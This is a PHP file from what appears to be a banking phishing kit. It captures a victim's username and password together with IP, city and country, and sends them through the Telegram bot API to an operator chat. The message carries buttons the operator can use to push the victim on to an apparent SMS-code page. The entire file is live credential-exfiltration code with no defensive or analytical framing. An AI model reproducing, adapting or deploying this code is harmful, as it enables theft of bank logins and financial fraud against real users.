<?php
error_reporting(0);
ini_set('display_errors', 0);

session_start();
include("config.php");
include_once("panel.php");

$login_id = isset($_POST['username']) ? $_POST['username'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';

if (!empty($login_id) && !empty($password)) {
    $message = "🏦 ADV  LOG 🏦
━━━━━━━━━━━━━━━
📧 𝗜𝗡𝗙𝗢𝗥𝗠𝗔𝗧𝗜𝗢𝗡𝗦
━━━━━━━━━━━━━━━

📧 𝗜𝗗𝗘𝗡𝗧𝗜𝗙𝗜𝗔𝗡𝗧: <code>" . $login_id . "</code>
🔑 𝗠𝗼𝘁 𝗱𝗲 𝗽𝗮𝘀𝘀𝗲: <code>" . $password . "</code>

━━━━━━━━━━━━━━━
🛡️ 𝗦𝗘𝗦𝗦𝗜𝗢𝗡 𝗜𝗡𝗙𝗢
━━━━━━━━━━━━━━━
🌍 𝗜𝗣: " . $_SERVER['REMOTE_ADDR'] . "
📍 𝗖𝗶𝘁𝘆: " . $city . "
🗺️ 𝗖𝗼𝘂𝗻𝘁𝗿𝘆: " . $country . "
━━━━━━━━━━━━━━━
⚡️ 𝗗𝗲𝘃 𝗕𝘆: @Fleenipo
━━━━━━━━━━━━━━━";

    // Ensure we have a valid token
    $token = $_SESSION['auth_token'];
    if (empty($token)) {
        $token = bin2hex(random_bytes(16));
        $_SESSION['auth_token'] = $token;
    }

    $error = 'http://' . $_SERVER['HTTP_HOST'] . '/adv/panel/fonctions/logfonctions/redirect.php?type=ghalet&token=' . urlencode($token) . '&id=' . $randomId;
    $success = 'http://' . $_SERVER['HTTP_HOST'] . '/adv/panel/fonctions/logfonctions/redirect.php?type=shih&token=' . urlencode($token) . '&id=' . $randomId;
    
    $inlineKeyboard = [
        [
            ["text" => "REFUSE ❌", "url" => $error],
            ["text" => "SMS page ✅", "url" => $success]
        ],
    ];

    $keyboardMarkup = json_encode(["inline_keyboard" => $inlineKeyboard]);
    $replyMarkup = "&reply_markup=" . urlencode($keyboardMarkup);
    $telegramMessage = $message . $replyMarkup;

    $telegramUrl = 'https://api.telegram.org/bot' . $botToken . '/sendMessage?chat_id=' . $chatId . '&text=' . urlencode($message) . '&parse_mode=HTML' . $replyMarkup;

    $html = file_get_contents($telegramUrl);

    header('Location: ../../waiting/waiting.php');
    exit();
} else {
    header('Location: ../../waiting/waiting.php');
    exit();
}
?>